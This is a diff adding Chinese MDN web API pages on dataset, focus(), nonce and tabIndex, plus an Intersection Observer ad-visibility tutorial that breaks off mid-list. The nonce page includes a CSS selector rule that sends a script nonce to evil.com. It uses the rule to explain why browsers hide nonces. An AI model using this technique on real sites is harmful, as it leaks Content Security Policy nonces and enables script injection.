diff --git a/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html b/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html new file mode 100644 index 0000000000..63ab5f48e8 --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/dataset/index.html @@ -0,0 +1,123 @@ +--- +title: HTMLElement.dataset +slug: Web/API/HTMLElement/dataset +tags: + - HTMLElement.dataset +translation_of: Web/API/HTMLOrForeignElement/dataset +--- +

{{ APIRef }}

+ +

HTMLElement.dataset属性允许无论是在读取模式和写入模式下访问在 HTML或 DOM中的元素上设置的所有自定义数据属性(data-*)集。

+ +

它是一个DOMString的映射,每个自定义数据属性的一个条目。

+ +

请注意,dataset 属性本身可以被读取,但不能直接写入。相反,所有的写入必须是它的“属性”,这反过来表示数据属性。

+ +

还要注意,一个HTML data-attribute 及其对应的DOM dataset.property 不共享相同的名称,但它们总是相似的:

+ + + +

 

+ +

自定义的数据属性名称是以 data- 开头的。 它必须要遵循 the production rule of xml names 规则,该规则是说它只可以包含字母,数字和下面的字符: dash (-), dot (.), colon (:), underscore (_)。此外不应包含ASCII 码大写字母。

+ +

自定义的data 属性名称转化成 {{ domxref("DOMStringMap") }} 的键值时会遵循下面的规则:

+ + + +

与此相反的转换,即将键值转换为一个属性的名称,会遵循下面的规则:

+ + + +

上面规则的约束是为了保证这两种转换是正好相反的转换。

+ +

例如,属性名称 data-abc-def 与键值 abcDef 相对应。

+ +

语法

+ +
string = element.dataset.camelCasedName;
+element.dataset.camelCasedName = string;
+ +

实例

+ +
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe
+</div>
+
+var el = document.querySelector('#user');
+
+// el.id == 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+el.dataset.dateOfBirth = '1960-10-03'; // set the DOB.
+
+// 'someDataAttr' in el.dataset === false
+
+el.dataset.someDataAttr = 'mydata';
+// 'someDataAttr' in el.dataset === true
+
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8{{ CompatGeckoDesktop("6.0") }}1111.106
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support---------------
+
+ +

 

diff --git a/files/zh-cn/web/api/htmlorforeignelement/focus/index.html b/files/zh-cn/web/api/htmlorforeignelement/focus/index.html new file mode 100644 index 0000000000..eb47aff613 --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/focus/index.html @@ -0,0 +1,158 @@ +--- +title: HTMLElement.focus() +slug: Web/API/HTMLElement/focus +tags: + - API + - 参考 + - 方法 + - 焦点 +translation_of: Web/API/HTMLOrForeignElement/focus +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLElement.focus() 方法用于设置焦点,如果被指定的元素可以获取到焦点,焦点就会被设置到该元素上。得到焦点的元素会作为键盘导航时的当前元素/基准元素,也会接收到相应的键盘事件等事件。

+ +

语法

+ +
element.focus(options); // Object parameter
+ +

参数

+ +
+
options {{optional_inline}}
+
An optional object providing options to control aspects of the focusing process. This object may contain the following property:
+
+
+
preventScroll {{optional_inline}}
+
A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of false for preventScroll (the default) means that the browser will scroll the element into view after focusing it. If preventScroll is set to true, no scrolling will occur.
+
+
+
+ +

示例

+ +

将焦点设置到文本框上

+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myTextField").focus();
+}
+ +

HTML

+ +
<input type="text" id="myTextField" value="Text field.">
+<p></p>
+<button type="button" onclick="focusMethod()">点这里将焦点设置到文本框上!</button>
+
+ +

结果

+ +

{{ EmbedLiveSample('Focus_on_a_text_field') }}

+ +

将焦点设置到按钮上

+ +

JavaScript

+ +
focusMethod = function getFocus() {
+  document.getElementById("myButton").focus();
+}
+ +

HTML

+ +
<button type="button" id="myButton">Click Me!</button>
+<p></p>
+<button type="button" onclick="focusMethod()">点这里将焦点设置到按钮上!</button>
+ +

结果

+ +

{{ EmbedLiveSample('Focus_on_a_button') }}

+ +

Focus with focusOption

+ +

JavaScript

+ +
focusScrollMethod = function getFocus() {
+  document.getElementById("myButton").focus({preventScroll:false});
+}
+focusNoScrollMethod = function getFocusWithoutScrolling() {
+  document.getElementById("myButton").focus({preventScroll:true});
+}
+
+
+ +

HTML

+ +
<button type="button" onclick="focusScrollMethod()">Click me to focus on the button!</button>
+<button type="button" onclick="focusNoScrollMethod()">Click me to focus on the button without scrolling!</button>
+
+<div id="container" style="height: 1000px; width: 1000px;">
+<button type="button" id="myButton" style="margin-top: 500px;">Click Me!</button>
+</div>
+
+
+ +

结果

+ +

{{ EmbedLiveSample('Focus_prevent_scroll') }}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}{{Spec2('DOM2 HTML')}}
{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}{{Spec2('DOM1')}}
+ +

备注

+ + + +

浏览器兼容性

+ + + +

{{Compat("api.HTMLElement.focus")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html new file mode 100644 index 0000000000..b2c6c829b1 --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/nonce/index.html @@ -0,0 +1,60 @@ +--- +title: HTMLElement.nonce +slug: Web/API/HTMLElement/nonce +tags: + - API + - nonce + - 内容安全策略 + - 实验性 + - 属性 +translation_of: Web/API/HTMLOrForeignElement/nonce +--- +

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

+ +

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。

+ +

在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。

+ +

语法

+ +
var nonce = HTMLElement.nonce
+HTMLElement.nonce = nonce
+ +

访问nonce属性值

+ +

以前,并不是所有的浏览器都支持 nonce IDL属性,因此在实际应用场景中,尝试使用getAttribute 作为备选:

+ +
let nonce = script['nonce'] || script.getAttribute('nonce');
+ +

然而,最新的浏览器版本都隐藏了 nonce 值(返回一个空值)。IDL属(script['nonce'])成为唯一的访问方式。

+ +

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:

+ +
script[nonce~=whatever] {
+  background: url("https://evil.com/nonce?whatever");
+}
+ +

说明

+ + + + + + + + + + + + + + +
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
+ +

支持的浏览器

+ +
+ + +

{{Compat("api.HTMLElement.nonce")}}

+
diff --git a/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html b/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html new file mode 100644 index 0000000000..516c659c2a --- /dev/null +++ b/files/zh-cn/web/api/htmlorforeignelement/tabindex/index.html @@ -0,0 +1,49 @@ +--- +title: HTMLElement.tabIndex +slug: Web/API/HTMLElement/tabIndex +translation_of: Web/API/HTMLOrForeignElement/tabIndex +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

概述

+ +

获取或设置当前元素的tab键激活顺序.

+ +

语法

+ +
element.tabIndex = index index = element.tabIndex
+
+ +

参数

+ + + +

Tab键的遍历顺序是这样的:

+ +
    +
  1. 对于tabIndex值为正数的元素,如果多个元素的tabIndex值相同,则以他们出现在字符流中的次序来遍历;否则按tabIndex值由小到大的顺序来遍历。
  2. +
  3. 对于不支持tabIndex属性或支持tabIndex属性并将其赋值为0的元素,按照他们出现在字符流中的次序来遍历。
  4. +
  5. 处于不可用状态的元素不会被遍历到。
  6. +
+ +

支持tabIndex属性的元素有:a,area,button,input,object,select和textarea

+ +

tabIndex的值不需要是连续的,也不需要以某个特定值开始。

+ +

例子

+ +
var b1 = document.getElementById("button1");
+b1.tabIndex = 1;
+
+ +

规范

+ +

W3C DOM Level 2 HTML tabIndex

+ +

了解更多,请查看: The solution: changes to standard behavior of tabindex

+ +

{{ languages( { "ja": "ja/DOM/element.tabIndex", "fr": "fr/DOM/element.tabIndex", "pl": "pl/DOM/element.tabIndex" , "en": "en/DOM/element.tabIndex" } ) }}

diff --git a/files/zh-cn/web/api/index/index.html b/files/zh-cn/web/api/index/index.html new file mode 100644 index 0000000000..9993a0a959 --- /dev/null +++ b/files/zh-cn/web/api/index/index.html @@ -0,0 +1,6 @@ +--- +title: 指数 +slug: Web/API/指数 +translation_of: Web/API/Index +--- +

{{Index("/zh-CN/docs/Web/API")}}

diff --git a/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html b/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html new file mode 100644 index 0000000000..24446a0141 --- /dev/null +++ b/files/zh-cn/web/api/intersection_observer_api/timing_element_visibility/index.html @@ -0,0 +1,562 @@ +--- +title: Timing element visibility with the Intersection Observer API +slug: Web/API/Intersection_Observer_API/点观察者API的时序元素可见性 +translation_of: Web/API/Intersection_Observer_API/Timing_element_visibility +--- +
{{APIRef("Intersection Observer API")}}
+ +
交叉点观察者API使得当感兴趣的元素或多或少被共享祖先节点或元素遮蔽时,可以方便地异步通知,包括 {{domxref("Document")}}本身。
+ +
 
+ +

The Intersection Observer API makes it easy to be asynchronously notified when elements of interest become more or less obscured by a shared ancestor node or element, including the {{domxref("Document")}} itself. In this article, we'll build a mock blog which has a number of ads interspersed among the contents of the page, then use the Intersection Observer API to track how much time each ad is visible to the user. When an ad exceeds one minute of visible time, it will be replaced with a new one.

+ +

Although many aspects of this example will not match real world usage (in particular, the articles all have the same text and aren't loaded from a database, and there are just a handful of simple text-only ads that are selected from an array), this should provide enough understanding of the API to quickly learn how to apply the Intersection Observer API to your own site.

+ +

There's a good reason why the notion of tracking visibility of ads is being used in this example. It turns out that one of the most common uses of Flash or other script in advertising on the Web is to record how long each ad is visible, for the purpose of billing and payment of revenues. Without the Intersection Observer API, this winds up being done using intervals and timeouts for each individual ad, or other techniques that tend to slow the page down. Using this API lets everything get streamlined by the browser to reduce the impact on performance substantially.

+ +

Let's get started!

+ +
+

Site structure: The HTML

+ +

The site's structure is not too complicated. We'll be using CSS Grid to style and lay out the site, so we can be pretty straightforward here:

+ +
<div class="wrapper">
+  <header>
+    <h1>A Fake Blog</h1>
+    <h2>Showing Intersection Observer in action!</h2>
+  </header>
+
+  <aside>
+    <nav>
+      <ul>
+        <li><a href="#link1">A link</a></li>
+        <li><a href="#link2">Another link</a></li>
+        <li><a href="#link3">One more link</a></li>
+      </ul>
+    </nav>
+  </aside>
+
+  <main>
+  </main>
+</div>
+ +

This is the framework for the entire site. At the top is the site's header region, contained within a {{HTMLElement("header")}} block. Below that, we define the site's sidebar as a list of links within an {{HTMLElement("aside")}} block.

+ +

Finally comes the main body. We start with an empty {{HTMLElement("main")}} element here. This box will be populated using script later.

+ +

Styling the site with CSS

+ +

With the structure of the site defined, we turn to the styling for the site. Let's look at the style for each component of the page individually.

+ +

The basics

+ +

We provide styles for the {{HTMLElement("body")}} and {{HTMLElement("main")}} elements to define the site's background as well as the grid the various parts of the site will be placed in.

+ +
body {
+  font-family: "Open Sans", "Arial", "Helvetica", sans-serif;
+  background-color: aliceblue;
+}
+
+.wrapper {
+  display: grid;
+  grid-template-columns: auto minmax(min-content, 1fr);
+  grid-template-rows: auto minmax(min-content, 1fr);
+  max-width: 700px;
+  margin: 0 auto;
+  background-color: aliceblue;
+}
+ +

The site's {{HTMLElement("body")}} is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" as the background color. Then the "wrapper" class is defined; it wraps the entire blog, including the header, sidebar, and body content (articles and ads).

+ +

The wrapper establishes a CSS grid with two columns and two rows. The first column (sized automatically based on its content) is used for the sidebar and the second column (which will be used for body content) is sized to be at least the width of the contents of the column and at most all remaining available space.

+ +

The first row will be used specially for the site header. The rows are sized the same way as the columns: the first one is automatically sized and the one uses the remaining space, but at least enough space to provide room for all elements within it.

+ +

The wrapper's width is fixed at 700px so that it will fit in the available space when presented inline on MDN below.

+ +

The header

+ +

The header is fairly simple, since for this example all it contains is some text. Its style looks like this:

+ +
header {
+  grid-column: 1 / -1;
+  grid-row: 1;
+  background-color: aliceblue;
+}
+ +

{{cssxref("grid-row")}} is set to 1, since we want the header to be placed in the top row of the site's grid. More interesting is our use of {{cssxref("grid-column")}} here; here we specify that we want the column to start in the first column and ends in the first column past the last grid line—in other words, the header spans across all of the columns within the grid. Perfect for our needs.

+ +

The sidebar

+ +

Our sidebar is used to present links to other pages on the site. None of them work in our example here, but they exist to help with the presentation of a blog-like experience. The sidebar is represented using an {{HTMLElement("aside")}} element, and is styled as follows:

+ +
aside {
+  grid-column: 1;
+  grid-row: 2;
+  background-color: cornsilk;
+  padding: 5px 10px;
+}
+
+aside ul {
+  padding-left: 0;
+}
+
+aside ul li {
+  list-style: none;
+}
+
+aside ul li a {
+  text-decoration: none;
+}
+ +

The most important thing to note here is that the {{cssxref("grid-column")}} is set to 1, to place the sidebar on the left-hand side of the screen. If you change this to -1, it will appear on the right (although some other elements will need some adjustments made to their margins to get the spacing just right). The {{cssxref("grid-row")}} is set to 2, to place it alongside the site body.

+ +

The content body

+ +

Speaking of the site's body: the main content of the site is kept in a {{HTMLElement("main")}} element. The following style is applied to that:

+ +
main {
+  grid-column: 2;
+  grid-row: 2;
+  margin: 0;
+  margin-left: 16px;
+  font-size: 16px;
+}
+ +

The primary feature here is that the grid position is set to place the body content in column 2, row 2.

+ +

Articles

+ +

Each article is contained in an {{HTMLElement("article")}} element, styled like this:

+ +
article {
+  background-color: white;
+  padding: 6px;
+}
+
+article:not(:last-child) {
+  margin-bottom: 8px;
+}
+
+article h2 {
+  margin-top: 0;
+}
+ +

This creates article boxes with a white background which float atop the blue background, with a small margin around the article. Every article which isn't the last item in the container has an 8px bottom margin to space things apart.

+ +

Ads

+ +

Finally, the ads have the following initial styling. Individual ads may customize the style somewhat, as we'll see later.

+ +
.ad {
+  height: 96px;
+  padding: 6px;
+  border-color: #555;
+  border-style: solid;
+  border-width: 1px;
+}
+
+.ad:not(:last-child) {
+  margin-bottom: 8px;
+}
+
+.ad h2 {
+  margin-top: 0;
+}
+
+.ad div {
+  position: relative;
+  float: right;
+  padding: 0 4px;
+  height: 20px;
+  width: 120px;
+  font-size: 14px;
+  bottom: 30px;
+  border: 1px solid black;
+  background-color: rgba(255, 255, 255, 0.5);
+}
+ +

There's nothing magic in here. It's fairly basic CSS.

+ +

Tying it together with JavaScript

+ +

That brings us to the JavaScript code which makes everything work. Let's start with the global variables:

+ +
let contentBox;
+
+let nextArticleID = 1;
+let visibleAds = new Set();
+let previouslyVisibleAds = null;
+
+let adObserver;
+let refreshIntervalID = 0;
+ +

These are used as follows:

+ +
+
contentBox
+
A reference to the {{HTMLElement("main")}} element's {{domxref("HTMLElement")}} object in the DOM. This is where we'll insert the articles and ads.
+
nextArticleID
+
Each article is given a unique ID number; this variable tracks the next ID to use, starting with 1.
+
visibleAds
+
A {{jsxref("Set")}} which we'll use to track the ads currently visible on the screen.
+
previouslyVisibleAds
+
Used to temporarily store the list of visible ads while the document is not visible (for example, if the user has tabbed to another page).
+
adObserver
+
Will hold our {{domxref("IntersectionObserver")}} used to track the intersection between the ads and the <main> element's bounds.
+
refreshIntervalID
+
Used to store the interval ID returned by {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}. This interval will be used to trigger our periodic refreshes of the ads' content.
+
+ +

Setting up

+ +

To set things up, we run the startup() function below when the page loads:

+ +
window.addEventListener("load", startup, false);
+
+function startup() {
+  contentBox = document.querySelector("main");
+
+  document.addEventListener("visibilitychange", handleVisibilityChange, false);
+
+  let observerOptions = {
+    root: null,
+    rootMargin: "0px",
+    threshold: [0.0, 0.75]
+  };
+
+  adObserver = new IntersectionObserver(intersectionCallback,
+                    observerOptions);
+
+  buildContents();
+  refreshIntervalID = window.setInterval(handleRefreshInterval, 1000);
+}
+ +

First, a reference to the content wrapping {{HTMLElement("main")}} element is obtained, so we can insert our content into it. Then we set up an event listener for the {{event("visibilitychange")}} event. This event is sent when the document becomes hidden or visible, such as when the user switches tabs in their browser. The Intersection Observer API doesn't take this into account when detecting intersection, since intersection isn't affected by page visibility. Therefore, we need to pause our timers while the page is tabbed out; hence this event listener.

+ +

Next we set up the options for the {{domxref("IntersectionObserver")}} which will monitor target elements (ads, in our case) for intersection changes relative to the document. The options are configured to watch for intersections with the document's viewport (by setting root to null). We have no margins to extend or contract the intersection root's rectangle; we want to match the boundaries of the document's viewport exactly for intersection purposes. And the threshold is set to an array containing the values 0.0 and 0.75; this will cause our callback to execute whenever a targeted element becomes completely obscured or first starts to become unobscured (intersection ratio 0.0) or passes through 75% visible in either direction (intersection ratio 0.75).

+ +

The observer, adObserver, is created by calling IntersectionObserver's constructor, passing in the callback function, intersectionCallback, and our options.

+ +

We then call a function buildContents(), which we'll define later to actually generate and insert into the document the articles and ads we want to present.

+ +

Finally, we set up an interval which triggers once a second to handle any necessary refreshing. We need a one second refresh since we're displaying timers in all visible ads for the purposes of this example. You may not need an interval at all, or you might do it differently or using a different time interval.

+ +

Handling document visibility changes

+ +

Let's take a look at the handler for the {{event("visibilitychange")}} event. Our script receives this event when the document itself becomes visible or invisible. The most important scenario here is when the user switches tabs. Since Intersection Observer only cares about the intersection between the targeted elements and the intersection root, and not the tab's visibility (which is a different issue entirely), we need to use the Page Visibility API to detect these tab switches and disable our timers for the duration.

+ +
function handleVisibilityChange() {
+  if (document.hidden) {
+    if (!previouslyVisibleAds) {
+      previouslyVisibleAds = visibleAds;
+      visibleAds = [];
+      previouslyVisibleAds.forEach(function(adBox) {
+        updateAdTimer(adBox);
+        adBox.dataset.lastViewStarted = 0;
+      });
+    }
+  } else {
+    previouslyVisibleAds.forEach(function(adBox) {
+      adBox.dataset.lastViewStarted = performance.now();
+    });
+    visibleAds = previouslyVisibleAds;
+    previouslyVisibleAds = null;
+  }
+}
+ +

Since the event itself doesn't state whether the document has switched from visible to invisible or vice-versa, the {{domxref("document.hidden")}} property is checked to see if the document is not currently visible. Since it's theoretically possible to get called multiple times, we only proceed if we haven't already paused the timers and saved the visibility states of the existing ads.

+ +

To pause the timers, all we need to do is remove the ads from the set of visible ads (visibleAds) and mark them as inactive. To do so, we begin by saving the set of visible ads into a variable known as previouslyVisibleAds to be sure we can restore them when the user tabs back into the document, and we then empty the visibleAds set so they won't be treated as visible. Then, for each of the ads that are being suspended, we call our updateAdTimer() function, which handles updating the ad's total visible time counter, then we set their dataset.lastViewStarted property to 0, which indicates that the tab's timer isn't running.

+ +

If the document has just become visible, we reverse this process: first we go through previouslyVisibleAds and set each one's dataset.lastViewStarted to the current document's time (in milliseconds since the document was created) using the {{domxref("Performance.now", "performance.now()")}} method. Then we set visibleAds back to previouslyVisibleAds and set the latter to null. Now the ads are all restarted, and configured to know that they became visible at the current time, so that they will not add up the duration of time the page was tabbed away the next time they're updated.

+ +

Handling intersection changes

+ +

Once per pass through the browser's event loop, each {{domxref("IntersectionObserver")}} checks to see if any of its target elements have passed through any of the observer's intersection ratio thresholds. For each observer, a list of targets that have done so is compiled, and sent to the observer's callback as an array of {{domxref("IntersectionObserverEntry")}} objects. Our callback, intersectionCallback(), looks like this:

+ +
function intersectionCallback(entries) {
+  entries.forEach(function(entry) {
+    let adBox = entry.target;
+
+    if (entry.isIntersecting) {
+      if (entry.intersectionRatio >= 0.75) {
+        adBox.dataset.lastViewStarted = entry.time;
+        visibleAds.add(adBox);
+      }
+    } else {
+      visibleAds.delete(adBox);
+      if ((entry.intersectionRatio === 0.0) && (adBox.dataset.totalViewTime >= 60000)) {
+        replaceAd(adBox);
+      }
+    }
+  });
+}
+ +

As previously mentioned, the {{domxref("IntersectionObserver")}} callback receives as input an array of all of the observer's targeted elements which have become either more or less visible than one of the intersection observer ratios. We iterate over each of those entries—which are of type {{domxref("IntersectionObserverEntry")}}. If the target element is intersecting with the root, we know it has just transitioned from the obscured state to the visible state. If it's become at least 75% visible, then we consider the ad visible and we start the timer by setting the ad's dataset.lastViewStarted attribute to the transition time in {{domxref("IntersectionObserverEntry.time", "entry.time")}}, then add the ad to the set visibleAds so we know to process it as time goes by.

+ +

If the ad has transitioned to the not-intersecting state, we remove the ad from the set of visible ads. Then we have one special behavior: we look to see if {{domxref("IntersectionObserverEntry.intersectionRatio", "entry.ratio")}} is 0.0; if it is, that means the element has become totally obscured. If that's the case, and the ad has been visible for at least a minute total, we call a function we'll create called replaceAd() to replace the existing ad with a new one. This way, the user sees a variety of ads over time, but the ads are only replaced while they can't be seen, resulting in a smooth experience.

+ +

Handling periodic actions

+ +

Our interval handler, handleRefreshInterval(), is called about once per second courtesy of the call to {{domxref("WindowOrGlobalScope.setInterval", "setInterval")}} made in the startup() function {{anch("Setting up", "described above")}}. Its main job is to update the timers every second and schedule a redraw to update the timers we'll be drawing within each ad.

+ +
function handleRefreshInterval() {
+  let redrawList = [];
+
+  visibleAds.forEach(function(adBox) {
+    let previousTime = adBox.dataset.totalViewTime;
+    updateAdTimer(adBox);
+
+    if (previousTime != adBox.dataset.totalViewTime) {
+      redrawList.push(adBox);
+    }
+  });
+
+  if (redrawList.length) {
+    window.requestAnimationFrame(function(time) {
+      redrawList.forEach(function(adBox) {
+        drawAdTimer(adBox);
+      });
+    });
+  }
+}
+ +

The array redrawList will be used to keep a list of all the ads which need to be redrawn during this refresh cycle, since it may not be exactly the same as the elapsed time due to system activity or because you've set the interval to something other than every 1000 milliseconds.

+ +

Then, for each of the visible ads, we save the value of dataset.totalViewTime (the total number of milliseconds the ad has currently been visible, as of the last time it was updated) and then call updateAdTimer() to update the time. If it's changed, then we push the ad onto the redrawList so we know it needs to be updated during the next animation frame.

+ +

Finally, if there's at least one element to redraw, we use {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}} to schedule a function that will redraw each element in the redrawList during the next animation frame.

+ +

Updating an ad's visibility timer

+ +

Previously (see {{anch("Handling document visibility changes")}} and {{anch("Handling periodic actions")}}), we've seen that when we need to update an ad's "total visible time" counter, we call a function named updateAdTimer() to do so. This function takes as an input an ad's {{domxref("HTMLDivElement")}} object. Here it is:

+ +
function updateAdTimer(adBox) {
+  let lastStarted = adBox.dataset.lastViewStarted;
+  let currentTime = performance.now();
+
+  if (lastStarted) {
+    let diff = currentTime - lastStarted;
+
+    adBox.dataset.totalViewTime = parseFloat(adBox.dataset.totalViewTime) + diff;
+  }
+
+  adBox.dataset.lastViewStarted = currentTime;
+}
+ +

To track an element's visible time, we use two custom data attributes (see {{htmlattrxref("data-*")}}) on every ad:

+ +
+
lastViewStarted
+
The time in milliseconds, relative to the time at which the document was created, at which the ad's visibility count was last updated, or the ad last became visible. 0 if the ad was not visible as of the last time it was checked.
+
totalViewTime
+
The total number of milliseconds the ad has been visible.
+
+ +

These are accessed through each ad's {{domxref("HTMLElement.dataset")}} attribute, which provides a {{domxref("DOMStringMap")}} mapping each custom attribute's name to its value. The values are strings, but we can convert those to numbers easily enough—in fact, JavaScript generally does it automatically, although we'll have one instance where we have to do it ourselves.

+ +

We start by fetching the time at which the ad's previous visibility status check time (adBox.dataset.lastViewStarted) into a local variable named lastStarted. We also get the current time-since-creation value using {{domxref("Performance.now", "performance.now()")}} into currentTime.

+ +

If lastStarted is non-zero—meaning the timer is currently running, we compute the difference between the current time and the start time to determine the number of milliseconds the timer has been visible since the last time it became visible. This is added to the current value of the ad's totalViewTime to bring the total up to date. Note the use of {{jsxref("parseFloat()")}} here; because these values are strings, JavaScript tries to do a string concatenation instead of addition without it.

+ +

Finally, the last-viewed time for the ad is updated to the current time. This is done whether the ad was running when this function was called or not; this causes the ad's timer to always be running when this function returns. This makes sense because this function is only called if the ad is visible, even if it's just now become visible.

+ +

Drawing an ad's timer

+ +

Inside each ad, for demonstration purposes, we draw the current value of its totalViewTime, converted into minutes and seconds. This is handled by passing the ad's element into the drawAdTimer() function:

+ +
function drawAdTimer(adBox) {
+  let timerBox = adBox.querySelector(".timer");
+  let totalSeconds = adBox.dataset.totalViewTime / 1000;
+  let sec = Math.floor(totalSeconds % 60);
+  let min = Math.floor(totalSeconds / 60);
+
+  timerBox.innerText = min + ":" + sec.toString().padStart(2, "0");
+}
+ +

This code finds the ad's timer using its ID, "timer", and computes the number of seconds elapsed by dividing the ad's totalViewTime by 1000. Then it calculates the number of minutes and seconds elapsed before setting the timer's {{domxref("Node.innerText", "innerText")}} to a string representing that time in the form m:ss. The {{jsxref("String.padStart()")}} method is used to ensure that the number of seconds is padded out to two digits if it's less than 10.

+ +

Building the page contents

+ +

The buildContents() function is called by the {{anch("Setting up", "startup code")}} to select and insert into the document the articles and ads to be presented:

+ +
let loremIpsum = "<p>Lorem ipsum dolor sit amet, consectetur adipiscing" +
+  " elit. Cras at sem diam. Vestibulum venenatis massa in tincidunt" +
+  " egestas. Morbi eu lorem vel est sodales auctor hendrerit placerat" +
+  " risus. Etiam rutrum faucibus sem, vitae mattis ipsum ullamcorper" +
+  " eu. Donec nec imperdiet nibh, nec vehicula libero. Phasellus vel" +
+  " malesuada nulla. Aliquam sed magna aliquam, vestibulum nisi at," +
+  " cursus nunc.</p>";
+
+function buildContents() {
+  for (let i=0; i<5; i++) {
+    contentBox.appendChild(createArticle(loremIpsum));
+
+    if (!(i % 2)) {
+      loadRandomAd();
+    }
+  }
+}
+
+ +

The variable loremIpsum contains the text we'll use for the body of all of our articles. Obviously in the real world, you'd have some code to pull articles from a database or the like, but this does the job for our purposes. Every article uses the same text; you could of course change that easily enough.

+ +

buildContents() creates a page with five articles. Following every odd-numbered article, an ad is "loaded" and inserted into the page. Articles are inserted into the content box (that is, the {{HTMLElement("main")}} element that contains all the site content) after being created using a method called createArticle(), which we'll look at next.

+ +

The ads are created using a function called loadRandomAd(), which both creates the ad and inserts it into the page. We'll see later that this same function can also replace an existing ad, but for now, we're simply appending ads to the existing content.

+ +

Creating an article

+ +

To create the {{HTMLElement("article")}} element for an article (as well as all of its contents), we use the createArticle() function, which takes as input a string which is the full text of the article to add to the page.

+ +
function createArticle(contents) {
+  let articleElem = document.createElement("article");
+  articleElem.id = nextArticleID;
+
+  let titleElem = document.createElement("h2");
+  titleElem.id = nextArticleID;
+  titleElem.innerText = "Article " + nextArticleID + " title";
+  articleElem.appendChild(titleElem);
+
+  articleElem.innerHTML += contents;
+  nextArticleID +=1 ;
+
+  return articleElem;
+}
+ +

First, the <article> element is created and its ID is set to the unique value nextArticleID (which starts at 1 and goes up for each article). Then we create and append an {{HTMLElement("h2")}} element for the article title and then we append the HTML from contents to that. Finally, nextArticleID is incremented (so that the next element gets a new unique ID) and we return the new <article> element to the caller.

+ +

Creating an ad

+ +

The loadRandomAd() function simulates loading an ad and adding it to the page. If you don't pass a value for replaceBox, a new element is created to contain the ad; the ad is then appended to the page. if you specify a replaceBox, that box is treated as an existing ad element; instead of creating a new one, the existing element is changed to contain the new ad's style, content, and other data. This avoids the risk of lengthy layout work being done when you update the ad, which could happen if you first delete the old element then insert a new one.

+ +
function loadRandomAd(replaceBox) {
+  let ads = [
+    {
+      bgcolor: "#cec",
+      title: "Eat Green Beans",
+      body: "Make your mother proud—they're good for you!"
+    },
+    {
+      bgcolor: "aquamarine",
+      title: "MillionsOfFreeBooks.whatever",
+      body: "Read classic literature online free!"
+    },
+    {
+      bgcolor: "lightgrey",
+      title: "3.14 Shades of Gray: A novel",
+      body: "Love really does make the world go round..."
+    },
+    {
+      bgcolor: "#fee",
+      title: "Flexbox Florist",
+      body: "When life's layout gets complicated, send flowers."
+    }
+  ];
+  let adBox, title, body, timerElem;
+
+  let ad = ads[Math.floor(Math.random()*ads.length)];
+
+  if (replaceBox) {
+    adObserver.unobserve(replaceBox);
+    adBox = replaceBox;
+    title = replaceBox.querySelector(".title");
+    body = replaceBox.querySelector(".body");
+    timerElem = replaceBox.querySelector(".timer");
+  } else {
+    adBox = document.createElement("div");
+    adBox.className = "ad";
+    title = document.createElement("h2");
+    body = document.createElement("p");
+    timerElem = document.createElement("div");
+    adBox.appendChild(title);
+    adBox.appendChild(body);
+    adBox.appendChild(timerElem);
+  }
+
+  adBox.style.backgroundColor = ad.bgcolor;
+
+  title.className = "title";
+  body.className = "body";
+  title.innerText = ad.title;
+  body.innerHTML = ad.body;
+
+  adBox.dataset.totalViewTime = 0;
+  adBox.dataset.lastViewStarted = 0;
+
+  timerElem.className="timer";
+  timerElem.innerText = "0:00";
+
+  if (!replaceBox) {
+    contentBox.appendChild(adBox);
+  }
+
+  adObserver.observe(adBox);
+}
+ +

First is the array ads. This array contains the data needed to create each ad. We have four here to choose from at random. In a real-world scenario, of course, the ads would come from a database or, more likely, an advertising service from which you fetch ads using an API. However, our needs are simple: each ad is represented by an object with three properties: a background color (bgcolor), a title (title), and a body text string (body).

+ +

Then we define several variables:

+ +
+
adBox
+
This will be set to the element that represents the ad. For new ads being appended to the page, this is created using {{domxref("Document.createElement()")}}. When replacing an existing ad, this is set to the specified ad element (replaceBox).
+
title
+
Will hold the {{HTMLElement("h2")}} element representing the ad's title.
+
body
+
Will hold the {{HTMLElement("p")}} representing the ad's body text.
+
timerElem
+
